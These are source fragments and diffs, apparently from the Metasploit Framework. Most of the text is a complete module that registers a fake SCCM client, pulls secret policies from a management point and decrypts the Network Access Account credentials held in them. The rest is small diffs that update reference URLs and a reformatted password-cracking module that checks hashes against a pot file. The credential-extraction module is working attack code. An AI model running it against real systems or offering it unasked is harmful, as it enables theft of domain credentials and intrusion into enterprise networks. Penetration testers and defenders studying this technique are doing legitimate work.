||||
'xpn', # Initial research
|
||||
'skelsec', # Initial obfuscation port
|
||||
'smashery' # module author
|
||||
],
|
||||
'References' => [
|
||||
['URL', 'https://blog.xpnsec.com/unobfuscating-network-access-accounts/'],
|
||||
['URL', 'https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-2/cred-2_description.md'],
|
||||
['URL', 'https://github.com/Mayyhem/SharpSCCM'],
|
||||
['URL', 'https://github.com/garrettfoster13/sccmhunter']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Notes' => {
|
||||
'Stability' => [],
|
||||
'SideEffects' => [CONFIG_CHANGES],
|
||||
'Reliability' => []
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
OptAddressRange.new('RHOSTS', [ false, 'The domain controller (for autodiscovery). Not required if providing a management point and site code' ]),
|
||||
OptPort.new('RPORT', [ false, 'The LDAP port of the domain controller (for autodiscovery). Not required if providing a management point and site code', 389 ]),
|
||||
OptString.new('COMPUTER_USER', [ true, 'The username of a computer account' ]),
|
||||
OptString.new('COMPUTER_PASS', [ true, 'The password of the provided computer account' ]),
|
||||
OptString.new('MANAGEMENT_POINT', [ false, 'The management point (SCCM server) to use' ]),
|
||||
OptString.new('SITE_CODE', [ false, 'The site code to use on the management point' ]),
|
||||
OptInt.new('TIMEOUT', [ true, 'Number of seconds to wait for SCCM DB to update', 10 ]),
|
||||
])
|
||||
|
||||
@session_or_rhost_required = false
|
||||
end
|
||||
|
||||
def find_management_point
|
||||
ldap_connect do |ldap|
|
||||
validate_bind_success!(ldap)
|
||||
|
||||
if (@base_dn = datastore['BASE_DN'])
|
||||
print_status("User-specified base DN: #{@base_dn}")
|
||||
else
|
||||
print_status('Discovering base DN automatically')
|
||||
|
||||
if (@base_dn = ldap.base_dn)
|
||||
print_status("#{ldap.peerinfo} Discovered base DN: #{@base_dn}")
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!")
|
||||
end
|
||||
end
|
||||
raw_objects = ldap.search(base: @base_dn, filter: '(objectclass=mssmsmanagementpoint)', attributes: ['*'])
|
||||
return nil unless raw_objects.any?
|
||||
|
||||
raw_obj = raw_objects.first
|
||||
|
||||
raw_objects.each do |ro|
|
||||
print_good("Found Management Point: #{ro[:dnshostname].first} (Site code: #{ro[:mssmssitecode].first})")
|
||||
end
|
||||
|
||||
if raw_objects.length > 1
|
||||
print_warning("Found more than one Management Point. Using the first (#{raw_obj[:dnshostname].first})")
|
||||
end
|
||||
|
||||
obj = {}
|
||||
obj[:rhost] = raw_obj[:dnshostname].first
|
||||
obj[:sitecode] = raw_obj[:mssmssitecode].first
|
||||
|
||||
obj
|
||||
rescue Errno::ECONNRESET
|
||||
fail_with(Failure::Disconnected, 'The connection was reset.')
|
||||
rescue Rex::ConnectionError => e
|
||||
fail_with(Failure::Unreachable, e.message)
|
||||
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
|
||||
fail_with(Failure::NoAccess, e.message)
|
||||
rescue Net::LDAP::Error => e
|
||||
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
management_point = datastore['MANAGEMENT_POINT']
|
||||
site_code = datastore['SITE_CODE']
|
||||
if management_point.blank? != site_code.blank?
|
||||
fail_with(Failure::BadConfig, 'Provide both MANAGEMENT_POINT and SITE_CODE, or neither (to perform autodiscovery)')
|
||||
end
|
||||
|
||||
if management_point.blank?
|
||||
begin
|
||||
result = find_management_point
|
||||
fail_with(Failure::NotFound, 'Failed to find management point') unless result
|
||||
management_point = result[:rhost]
|
||||
site_code = result[:site_code]
|
||||
rescue ::IOError => e
|
||||
fail_with(Failure::UnexpectedReply, e.message)
|
||||
end
|
||||
end
|
||||
|
||||
key, cert = generate_key_and_cert('ConfigMgr Client')
|
||||
|
||||
http_opts = {
|
||||
'rhost' => management_point,
|
||||
'rport' => 80,
|
||||
'username' => datastore['COMPUTER_USER'],
|
||||
'password' => datastore['COMPUTER_PASS'],
|
||||
'headers' => {
|
||||
'User-Agent' => 'ConfigMgr Messaging HTTP Sender',
|
||||
'Accept-Encoding' => 'gzip, deflate',
|
||||
'Accept' => '*/*'
|
||||
}
|
||||
}
|
||||
|
||||
sms_id, ip_address = register_request(http_opts, management_point, key, cert)
|
||||
print_status("Waiting #{datastore['TIMEOUT']} seconds for SCCM DB to update...")
|
||||
|
||||
sleep(datastore['TIMEOUT'])
|
||||
|
||||
secret_urls = get_secret_policies(http_opts, management_point, site_code, key, cert, sms_id)
|
||||
all_results = Set.new
|
||||
secret_urls.each do |url|
|
||||
decrypted_policy = request_policy(http_opts, url, sms_id, key)
|
||||
results = get_creds_from_policy_doc(decrypted_policy)
|
||||
all_results.merge(results)
|
||||
end
|
||||
|
||||
if all_results.empty?
|
||||
print_status('No NAA credentials configured')
|
||||
end
|
||||
|
||||
all_results.each do |username, password|
|
||||
report_creds(ip_address, username, password)
|
||||
print_good("Found valid NAA credentials: #{username}:#{password}")
|
||||
end
|
||||
rescue SocketError => e
|
||||
fail_with(Failure::Unreachable, e.message)
|
||||
end
|
||||
|
||||
# Request the policy from the policy_url
|
||||
def request_policy(http_opts, policy_url, sms_id, key)
|
||||
policy_url.gsub!(%r{^https?://<mp>}, '')
|
||||
policy_url = policy_url.gsub('{', '%7B').gsub('}', '%7D')
|
||||
|
||||
now = Time.now.utc.iso8601
|
||||
client_token = "GUID:#{sms_id};#{now};2"
|
||||
client_signature = rsa_sign(key, (client_token + "\x00").encode('utf-16le').bytes.pack('C*'))
|
||||
|
||||
opts = http_opts.merge({
|
||||
'uri' => policy_url,
|
||||
'method' => 'GET'
|
||||
})
|
||||
opts['headers'] = opts['headers'].merge({
|
||||
'ClientToken' => client_token,
|
||||
'ClientTokenSignature' => client_signature
|
||||
})
|
||||
|
||||
http_response = send_request_cgi(opts)
|
||||
http_response.gzip_decode!
|
||||
|
||||
ci = Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(http_response.body)
|
||||
cms_envelope = ci.enveloped_data
|
||||
|
||||
ri = cms_envelope[:recipient_infos]
|
||||
if ri.value.empty?
|
||||
fail_with(Failure::UnexpectedReply, 'No recipient infos provided')
|
||||
end
|
||||
|
||||
if ri[0][:ktri].nil?
|
||||
fail_with(Failure::UnexpectedReply, 'KeyTransRecipientInfo not found')
|
||||
end
|
||||
|
||||
body = cms_envelope[:encrypted_content_info][:encrypted_content].value
|
||||
|
||||
key_encryption_alg = ri[0][:ktri][:key_encryption_algorithm][:algorithm].value
|
||||
encrypted_rsa_key = ri[0][:ktri][:encrypted_key].value
|
||||
if key_encryption_alg == Rex::Proto::CryptoAsn1::OIDs::OID_RSA_ENCRYPTION.value
|
||||
decrypted_key = key.private_decrypt(encrypted_rsa_key)
|
||||
elsif key_encryption_alg == Rex::Proto::CryptoAsn1::OIDs::OID_RSAES_OAEP.value
|
||||
decrypted_key = key.private_decrypt(encrypted_rsa_key, OpenSSL::PKey::RSA::PKCS1_OAEP_PADDING)
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "Key encryption routine is currently unsupported: #{key_encryption_alg}")
|
||||
end
|
||||
|
||||
cea = cms_envelope[:encrypted_content_info][:content_encryption_algorithm]
|
||||
algorithms = {
|
||||
Rex::Proto::CryptoAsn1::OIDs::OID_AES256_CBC.value => { iv_length: 16, key_length: 32, cipher_name: 'aes-256-cbc' },
|
||||
Rex::Proto::CryptoAsn1::OIDs::OID_DES_EDE3_CBC.value => { iv_length: 8, key_length: 24, cipher_name: 'des-ede3-cbc' }
|
||||
}
|
||||
if algorithms.include?(cea[:algorithm].value)
|
||||
alg_hash = algorithms[cea[:algorithm].value]
|
||||
if decrypted_key.length != alg_hash[:key_length]
|
||||
fail_with(Failure::UnexpectedReply, "Bad key length: #{decrypted_key.length}")
|
||||
end
|
||||
iv = RASN1::Types::OctetString.new
|
||||
iv.parse!(cea[:parameters].value)
|
||||
if iv.value.length != alg_hash[:iv_length]
|
||||
fail_with(Failure::UnexpectedReply, "Bad IV length: #{iv.length}")
|
||||
end
|
||||
cipher = OpenSSL::Cipher.new(alg_hash[:cipher_name])
|
||||
cipher.decrypt
|
||||
cipher.key = decrypted_key
|
||||
cipher.iv = iv.value
|
||||
|
||||
decrypted = cipher.update(body) + cipher.final
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "Decryption routine is currently unsupported: #{cea[:algorithm].value}")
|
||||
end
|
||||
|
||||
decrypted.force_encoding('utf-16le').encode('utf-8').delete_suffix("\x00")
|
||||
end
|
||||
|
||||
# Retrieve all the policies with secret components in them
|
||||
def get_secret_policies(http_opts, management_point, site_code, key, cert, sms_id)
|
||||
computer_user = datastore['COMPUTER_USER'].delete_suffix('$')
|
||||
fqdn = "#{computer_user}.#{datastore['DOMAIN']}"
|
||||
hex_pub_key = make_ms_pubkey(cert.public_key)
|
||||
guid = SecureRandom.uuid.upcase
|
||||
sent_time = Time.now.utc.iso8601
|
||||
sccm_host = management_point.downcase
|
||||
request_assignments = "<RequestAssignments SchemaVersion=\"1.00\" ACK=\"false\" RequestType=\"Always\"><Identification><Machine><ClientID>GUID:#{sms_id}</ClientID><FQDN>#{fqdn}</FQDN><NetBIOSName>#{computer_user}</NetBIOSName><SID /></Machine><User /></Identification><PolicySource>SMS:#{site_code}</PolicySource><Resource ResourceType=\"Machine\" /><ServerCookie /></RequestAssignments>\x00"
|
||||
request_assignments.encode!('utf-16le')
|
||||
body_length = request_assignments.bytes.length
|
||||
request_assignments = request_assignments.bytes.pack('C*') + "\r\n"
|
||||
compressed = Rex::Text.zlib_deflate(request_assignments)
|
||||
|
||||
payload_signature = rsa_sign(key, compressed)
|
||||
|
||||
client_id = "GUID:{#{sms_id.upcase}}\x00"
|
||||
client_ids_signature = rsa_sign(key, client_id.encode('utf-16le'))
|
||||
header = "<Msg ReplyCompression=\"zlib\" SchemaVersion=\"1.1\"><Body Type=\"ByteRange\" Length=\"#{body_length}\" Offset=\"0\" /><CorrelationID>{00000000-0000-0000-0000-000000000000}</CorrelationID><Hooks><Hook2 Name=\"clientauth\"><Property Name=\"AuthSenderMachine\">#{computer_user}</Property><Property Name=\"PublicKey\">#{hex_pub_key}</Property><Property Name=\"ClientIDSignature\">#{client_ids_signature}</Property><Property Name=\"PayloadSignature\">#{payload_signature}</Property><Property Name=\"ClientCapabilities\">NonSSL</Property><Property Name=\"HashAlgorithm\">1.2.840.113549.1.1.11</Property></Hook2><Hook3 Name=\"zlib-compress\" /></Hooks><ID>{#{guid}}</ID><Payload Type=\"inline\" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:#{computer_user}:SccmMessaging</ReplyTo><SentTime>#{sent_time}</SentTime><SourceID>GUID:#{sms_id}</SourceID><SourceHost>#{computer_user}</SourceHost><TargetAddress>mp:MP_PolicyManager</TargetAddress><TargetEndpoint>MP_PolicyManager</TargetEndpoint><TargetHost>#{sccm_host}</TargetHost><Timeout>60000</Timeout></Msg>"
|
||||
|
||||
message = Rex::MIME::Message.new
|
||||
message.bound = 'aAbBcCdDv1234567890VxXyYzZ'
|
||||
|
||||
message.add_part("\ufeff#{header}".encode('utf-16le').bytes.pack('C*'), 'text/plain; charset=UTF-16', nil)
|
||||
message.add_part(compressed, 'application/octet-stream', 'binary')
|
||||
opts = http_opts.merge({
|
||||
'uri' => '/ccm_system/request',
|
||||
'method' => 'CCM_POST',
|
||||
'data' => message.to_s
|
||||
})
|
||||
opts['headers'] = opts['headers'].merge({
|
||||
'Content-Type' => 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"'
|
||||
})
|
||||
http_response = send_request_cgi(opts)
|
||||
response = Rex::MIME::Message.new(http_response.to_s)
|
||||
|
||||
fail_with(Failure::UnexpectedReply, 'No content received in request for policies, try increasing TIMEOUT or rerunning the module.') unless response.parts[1]&.content
|
||||
compressed_response = Rex::Text.zlib_inflate(response.parts[1].content).force_encoding('utf-16le')
|
||||
xml_doc = Nokogiri::XML(compressed_response.encode('utf-8'))
|
||||
policies = xml_doc.xpath('//Policy')
|
||||
secret_policies = policies.select do |policy|
|
||||
flags = policy.attributes['PolicyFlags']
|
||||
next if flags.nil?
|
||||
|
||||
flags.value.to_i & SECRET_POLICY_FLAG == SECRET_POLICY_FLAG
|
||||
end
|
||||
|
||||
urls = secret_policies.map do |policy|
|
||||
policy.xpath('PolicyLocation/text()').text
|
||||
end
|
||||
|
||||
urls = urls.reject(&:blank?)
|
||||
|
||||
urls.each do |url|
|
||||
print_status("Found policy containing secrets: #{url}")
|
||||
end
|
||||
|
||||
urls
|
||||
end
|
||||
|
||||
# Sign the data using the RSA key, and reverse it (strange, but it's what's required)
|
||||
def rsa_sign(key, data)
|
||||
signature = key.sign(OpenSSL::Digest.new('SHA256'), data)
|
||||
signature.reverse!
|
||||
|
||||
signature.unpack('H*')[0].upcase
|
||||
end
|
||||
|
||||
# Make a pubkey structure (https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-mqqb/ade9efde-3ec8-4e47-9ae9-34b64d8081bb)
|
||||
def make_ms_pubkey(pub_key)
|
||||
result = "\x06\x02\x00\x00\x00\xA4\x00\x00\x52\x53\x41\x31"
|
||||
result += [KEY_SIZE, pub_key.e].pack('II')
|
||||
result += [pub_key.n.to_s(16)].pack('H*')
|
||||
|
||||
result.unpack('H*')[0]
|
||||
end
|
||||
|
||||
# Make a request to the SCCM server to register our computer
|
||||
def register_request(http_opts, management_point, key, cert)
|
||||
pub_key = cert.to_der.unpack('H*')[0].upcase
|
||||
|
||||
computer_user = datastore['COMPUTER_USER'].delete_suffix('$')
|
||||
fqdn = "#{computer_user}.#{datastore['DOMAIN']}"
|
||||
sent_time = Time.now.utc.iso8601
|
||||
registration_request_data = "<Data HashAlgorithm=\"1.2.840.113549.1.1.11\" SMSID=\"\" RequestType=\"Registration\" TimeStamp=\"#{sent_time}\"><AgentInformation AgentIdentity=\"CCMSetup.exe\" AgentVersion=\"5.00.8325.0000\" AgentType=\"0\" /><Certificates><Encryption Encoding=\"HexBinary\" KeyType=\"1\">#{pub_key}</Encryption><Signing Encoding=\"HexBinary\" KeyType=\"1\">#{pub_key}</Signing></Certificates><DiscoveryProperties><Property Name=\"Netbios Name\" Value=\"#{computer_user}\" /><Property Name=\"FQ Name\" Value=\"#{fqdn}\" /><Property Name=\"Locale ID\" Value=\"1033\" /><Property Name=\"InternetFlag\" Value=\"0\" /></DiscoveryProperties></Data>"
|
||||
|
||||
signature = rsa_sign(key, registration_request_data.encode('utf-16le'))
|
||||
|
||||
registration_request = "<ClientRegistrationRequest>#{registration_request_data}<Signature><SignatureValue>#{signature}</SignatureValue></Signature></ClientRegistrationRequest>\x00"
|
||||
|
||||
rr_utf16 = ''
|
||||
rr_utf16 << registration_request.encode('utf-16le').bytes.pack('C*')
|
||||
body_length = rr_utf16.length
|
||||
rr_utf16 << "\r\n"
|
||||
|
||||
header = "<Msg ReplyCompression=\"zlib\" SchemaVersion=\"1.1\"><Body Type=\"ByteRange\" Length=\"#{body_length}\" Offset=\"0\" /><CorrelationID>{00000000-0000-0000-0000-000000000000}</CorrelationID><Hooks><Hook3 Name=\"zlib-compress\" /></Hooks><ID>{5DD100CD-DF1D-45F5-BA17-A327F43465F8}</ID><Payload Type=\"inline\" /><Priority>0</Priority><Protocol>http</Protocol><ReplyMode>Sync</ReplyMode><ReplyTo>direct:#{computer_user}:SccmMessaging</ReplyTo><SentTime>#{sent_time}</SentTime><SourceHost>#{computer_user}</SourceHost><TargetAddress>mp:MP_ClientRegistration</TargetAddress><TargetEndpoint>MP_ClientRegistration</TargetEndpoint><TargetHost>#{management_point.downcase}</TargetHost><Timeout>60000</Timeout></Msg>"
|
||||
|
||||
message = Rex::MIME::Message.new
|
||||
message.bound = 'aAbBcCdDv1234567890VxXyYzZ'
|
||||
|
||||
message.add_part("\ufeff#{header}".encode('utf-16le').bytes.pack('C*'), 'text/plain; charset=UTF-16', nil)
|
||||
message.add_part(Rex::Text.zlib_deflate(rr_utf16), 'application/octet-stream', 'binary')
|
||||
|
||||
opts = http_opts.merge({
|
||||
'uri' => '/ccm_system_windowsauth/request',
|
||||
'method' => 'CCM_POST',
|
||||
'data' => message.to_s
|
||||
})
|
||||
opts['headers'] = opts['headers'].merge({
|
||||
'Content-Type' => 'multipart/mixed; boundary="aAbBcCdDv1234567890VxXyYzZ"'
|
||||
})
|
||||
http_response = send_request_cgi(opts)
|
||||
if http_response.nil?
|
||||
fail_with(Failure::Unreachable, 'No response from server')
|
||||
end
|
||||
ip_address = http_response.peerinfo['addr']
|
||||
response = Rex::MIME::Message.new(http_response.to_s)
|
||||
if response.parts.empty?
|
||||
html_doc = Nokogiri::HTML(http_response.to_s)
|
||||
error = html_doc.xpath('//title').text
|
||||
if error.blank?
|
||||
error = 'Bad response from server'
|
||||
dlog('Response from server:')
|
||||
dlog(http_response.to_s)
|
||||
end
|
||||
fail_with(Failure::UnexpectedReply, error)
|
||||
end
|
||||
|
||||
response.parts[0].content.force_encoding('utf-16le').encode('utf-8').delete_prefix("\uFEFF")
|
||||
compressed_response = Rex::Text.zlib_inflate(response.parts[1].content).force_encoding('utf-16le')
|
||||
xml_doc = Nokogiri::XML(compressed_response.encode('utf-8')) # It's crazy, but XML parsing doesn't work with UTF-16-encoded strings
|
||||
sms_id = xml_doc.root&.attributes&.[]('SMSID')&.value&.delete_prefix('GUID:')
|
||||
if sms_id.nil?
|
||||
approval = xml_doc.root&.attributes&.[]('ApprovalStatus')&.value
|
||||
if approval == '-1'
|
||||
fail_with(Failure::UnexpectedReply, 'Client registration not approved by SCCM server')
|
||||
end
|
||||
fail_with(Failure::UnexpectedReply, 'Did not retrieve SMS ID')
|
||||
end
|
||||
print_status("Got SMS ID: #{sms_id}")
|
||||
|
||||
[sms_id, ip_address]
|
||||
end
|
||||
|
||||
# Extract obfuscated credentials from the resulting policy XML document
|
||||
def get_creds_from_policy_doc(policy)
|
||||
xml_doc = Nokogiri::XML(policy)
|
||||
naa_sections = xml_doc.xpath(".//instance[@class='CCM_NetworkAccessAccount']")
|
||||
results = []
|
||||
naa_sections.each do |section|
|
||||
username = section.xpath("property[@name='NetworkAccessUsername']/value").text
|
||||
username = deobfuscate_policy_value(username)
|
||||
username.delete_suffix!("\x00")
|
||||
|
||||
password = section.xpath("property[@name='NetworkAccessPassword']/value").text
|
||||
password = deobfuscate_policy_value(password)
|
||||
password.delete_suffix!("\x00")
|
||||
|
||||
unless username.blank? && password.blank?
|
||||
# Deleted credentials seem to result in just an empty value for username and password
|
||||
results.append([username, password])
|
||||
end
|
||||
end
|
||||
results
|
||||
end
|
||||
|
||||
def deobfuscate_policy_value(value)
|
||||
value = [value.gsub(/[^0-9A-Fa-f]/, '')].pack('H*')
|
||||
data_length = value[52..55].unpack('I')[0]
|
||||
buffer = value[64..64 + data_length - 1]
|
||||
key = mscrypt_derive_key_sha1(value[4..43])
|
||||
iv = "\x00" * 8
|
||||
cipher = OpenSSL::Cipher.new('des-ede3-cbc')
|
||||
cipher.decrypt
|
||||
cipher.iv = iv
|
||||
cipher.key = key
|
||||
result = cipher.update(buffer) + cipher.final
|
||||
|
||||
result.force_encoding('utf-16le').encode('utf-8')
|
||||
end
|
||||
|
||||
def mscrypt_derive_key_sha1(secret)
|
||||
buf1 = [0x36] * 64
|
||||
buf2 = [0x5C] * 64
|
||||
|
||||
digest = OpenSSL::Digest.new('SHA1')
|
||||
hash = digest.digest(secret).bytes
|
||||
|
||||
hash.each_with_index do |byte, i|
|
||||
buf1[i] ^= byte
|
||||
buf2[i] ^= byte
|
||||
end
|
||||
|
||||
buf1 = buf1.pack('C*')
|
||||
buf2 = buf2.pack('C*')
|
||||
|
||||
digest = OpenSSL::Digest.new('SHA1')
|
||||
hash1 = digest.digest(buf1)
|
||||
|
||||
digest = OpenSSL::Digest.new('SHA1')
|
||||
hash2 = digest.digest(buf2)
|
||||
|
||||
hash1 + hash2[0..3]
|
||||
end
|
||||
|
||||
## Create a self-signed private key and certificate for our computer registration
|
||||
def generate_key_and_cert(subject)
|
||||
key = OpenSSL::PKey::RSA.new(KEY_SIZE)
|
||||
cert = OpenSSL::X509::Certificate.new
|
||||
cert.version = 2
|
||||
cert.serial = (rand(0xFFFFFFFF) << 32) + rand(0xFFFFFFFF)
|
||||
cert.public_key = key.public_key
|
||||
cert.issuer = OpenSSL::X509::Name.new([['CN', subject]])
|
||||
cert.subject = OpenSSL::X509::Name.new([['CN', subject]])
|
||||
yr = 24 * 3600 * 365
|
||||
cert.not_before = Time.at(Time.now.to_i - rand(yr * 3) - yr)
|
||||
cert.not_after = Time.at(cert.not_before.to_i + (rand(4..9) * yr))
|
||||
ef = OpenSSL::X509::ExtensionFactory.new
|
||||
ef.subject_certificate = cert
|
||||
ef.issuer_certificate = cert
|
||||
cert.extensions = [
|
||||
ef.create_extension('keyUsage', 'digitalSignature,dataEncipherment'),
|
||||
ef.create_extension('extendedKeyUsage', '1.3.6.1.4.1.311.101.2, 1.3.6.1.4.1.311.101'),
|
||||
]
|
||||
cert.sign(key, OpenSSL::Digest.new('SHA256'))
|
||||
|
||||
[key, cert]
|
||||
end
|
||||
|
||||
def report_creds(ip_address, user, password)
|
||||
service_data = {
|
||||
address: ip_address,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
service_name: 'sccm',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
domain, account = user.split(/\\/)
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: fullname,
|
||||
username: account,
|
||||
private_data: password,
|
||||
private_type: :password,
|
||||
realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN,
|
||||
realm_value: domain
|
||||
}
|
||||
credential_core = create_credential(credential_data.merge(service_data))
|
||||
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
|
||||
create_credential_login(login_data.merge(service_data))
|
||||
end
|
||||
end
|
||||
@@ -22,7 +22,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '66842'],
|
||||
['URL', 'https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'],
|
||||
['URL', 'http://web.archive.org/web/20230402082942/https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'],
|
||||
['US-CERT-VU', '362332']
|
||||
]
|
||||
))
|
||||
|
||||
@@ -22,7 +22,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '66842'],
|
||||
['URL', 'https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'],
|
||||
['URL', 'http://web.archive.org/web/20230402082942/https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'],
|
||||
['US-CERT-VU', '362332']
|
||||
]
|
||||
))
|
||||
|
||||
@@ -17,7 +17,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '66842'],
|
||||
['URL', 'https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'],
|
||||
['URL', 'http://web.archive.org/web/20230402082942/https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'],
|
||||
['US-CERT-VU', '362332']
|
||||
],
|
||||
'Actions' =>
|
||||
|
||||
@@ -19,7 +19,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '66842'],
|
||||
['URL', 'https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'],
|
||||
['URL', 'http://web.archive.org/web/20230402082942/https://www.rapid7.com/blog/post/2010/08/02/new-vxworks-vulnerabilities/'],
|
||||
['US-CERT-VU', '362332']
|
||||
],
|
||||
'Actions' =>
|
||||
|
||||
@@ -20,7 +20,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
},
|
||||
'Author' => 'wvu',
|
||||
'References' => [
|
||||
['URL', 'https://www.crock-pot.com/wemo-landing-page.html'],
|
||||
['URL', 'http://web.archive.org/web/20180301171809/https://www.crock-pot.com/wemo-landing-page.html'],
|
||||
['URL', 'https://www.belkin.com/us/support-article?articleNum=101177'],
|
||||
['URL', 'http://www.wemo.com/']
|
||||
],
|
||||
|
||||
@@ -3,25 +3,23 @@
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Auxiliary::PasswordCracker
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Apply Pot File To Hashes',
|
||||
'Description' => %Q{
|
||||
'Name' => 'Apply Pot File To Hashes',
|
||||
'Description' => %(
|
||||
This module uses a John the Ripper or Hashcat .pot file to crack any password
|
||||
hashes in the creds database instantly. JtR's --show functionality is used to
|
||||
help combine all the passwords into an easy to use format.
|
||||
},
|
||||
'Author' => ['h00die'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
['john', 'Description' => 'Use John the Ripper'],
|
||||
# ['hashcat', 'Description' => 'Use Hashcat'], # removed for simplicity
|
||||
],
|
||||
),
|
||||
'Author' => ['h00die'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [
|
||||
['john', { 'Description' => 'Use John the Ripper' }],
|
||||
# ['hashcat', 'Description' => 'Use Hashcat'], # removed for simplicity
|
||||
],
|
||||
'DefaultAction' => 'john',
|
||||
)
|
||||
deregister_options('ITERATION_TIMEOUT')
|
||||
@@ -33,7 +31,6 @@ class MetasploitModule < Msf::Auxiliary
|
||||
deregister_options('USE_DEFAULT_WORDLIST')
|
||||
deregister_options('USE_ROOT_WORDS')
|
||||
deregister_options('USE_HOSTNAMES')
|
||||
|
||||
end
|
||||
|
||||
# Not all hash formats include an 'id' field, which corresponds which db entry
|
||||
@@ -41,10 +38,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# is used as a salt. Due to all the variations, we make a small HashLookup
|
||||
# class to handle all the fields for easier lookup later.
|
||||
class HashLookup
|
||||
attr_accessor :db_hash
|
||||
attr_accessor :jtr_hash
|
||||
attr_accessor :username
|
||||
attr_accessor :id
|
||||
attr_accessor :db_hash, :jtr_hash, :username, :id
|
||||
|
||||
def initialize(db_hash, jtr_hash, username, id)
|
||||
@db_hash = db_hash
|
||||
@@ -56,6 +50,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def show_run_command(cracker_instance)
|
||||
return unless datastore['ShowCommand']
|
||||
|
||||
cmd = cracker_instance.show_command
|
||||
print_status(" Cracking Command: #{cmd.join(' ')}")
|
||||
end
|
||||
@@ -66,9 +61,10 @@ class MetasploitModule < Msf::Auxiliary
|
||||
lookups = []
|
||||
|
||||
# create one massive hash file with all the hashes
|
||||
hashlist = Rex::Quickfile.new("hashes_tmp")
|
||||
hashlist = Rex::Quickfile.new('hashes_tmp')
|
||||
framework.db.creds(workspace: myworkspace).each do |core|
|
||||
next if core.private.type == 'Metasploit::Credential::Password'
|
||||
|
||||
jtr_hash = Metasploit::Framework::PasswordCracker::JtR::Formatter.hash_to_jtr(core)
|
||||
hashlist.puts jtr_hash
|
||||
lookups << HashLookup.new(core.private.data, jtr_hash, core.public, core.id)
|
||||
@@ -82,70 +78,91 @@ class MetasploitModule < Msf::Auxiliary
|
||||
# cracked passwords. The advantage to this vs just comparing
|
||||
# john.pot to the hashes directly is we use jtr to recombine
|
||||
# lanman, and other assorted nuances
|
||||
['bcrypt', 'bsdicrypt', 'crypt', 'descrypt', 'lm', 'nt',
|
||||
'md5crypt', 'mysql', 'mysql-sha1', 'mssql', 'mssql05', 'mssql12',
|
||||
'oracle', 'oracle11', 'oracle12c', 'dynamic_1506', #oracles
|
||||
'dynamic_1034' #postgres
|
||||
].each do |format|
|
||||
|
||||
[
|
||||
'bcrypt', 'bsdicrypt', 'descrypt', 'lm',
|
||||
'mscash', 'mscash2', 'netntlm', 'netntlmv2',
|
||||
'md5crypt', 'mysql', 'mysql-sha1', 'mssql', 'mssql05', 'mssql12',
|
||||
'oracle', 'oracle11', 'oracle12c', 'dynamic_1506', # oracles
|
||||
'dynamic_1034', # postgres
|
||||
# 'android-sha1', 'android-samsung-sha1', 'android-md5', # mobile is done with hashcat, so skip these
|
||||
'PBKDF2-HMAC-SHA1', 'phpass', 'mediawiki', 'pbkdf2-sha256', # webapps
|
||||
'xsha', 'xsha512', 'PBKDF2-HMAC-SHA512', # osx
|
||||
'nt', # nt needs to be 2nd to last because it can hit on android hashes
|
||||
'crypt' # crypt NEEDS TO BE LAST so it doesn't accidentally read in other compatible hashes
|
||||
].each do |format|
|
||||
print_status("Checking #{format} hashes against pot file")
|
||||
cracker.format = format
|
||||
show_run_command(cracker)
|
||||
cracker.each_cracked_password.each do |password_line|
|
||||
password_line.chomp!
|
||||
next if password_line.blank? || password_line.nil?
|
||||
fields = password_line.split(":")
|
||||
|
||||
fields = password_line.split(':')
|
||||
core_id = nil
|
||||
case format
|
||||
when 'descrypt'
|
||||
next unless fields.count >=3
|
||||
next unless fields.count >= 3
|
||||
|
||||
username = fields.shift
|
||||
core_id = fields.pop
|
||||
core_id = fields.pop
|
||||
4.times { fields.pop } # Get rid of extra :
|
||||
when 'md5crypt', 'descrypt', 'bsdicrypt', 'crypt', 'bcrypt'
|
||||
next unless fields.count >=7
|
||||
when 'netntlm', 'netntlmv2'
|
||||
next unless fields.count >= 7
|
||||
|
||||
username = fields.shift
|
||||
core_id = fields.pop
|
||||
core_id = fields.pop
|
||||
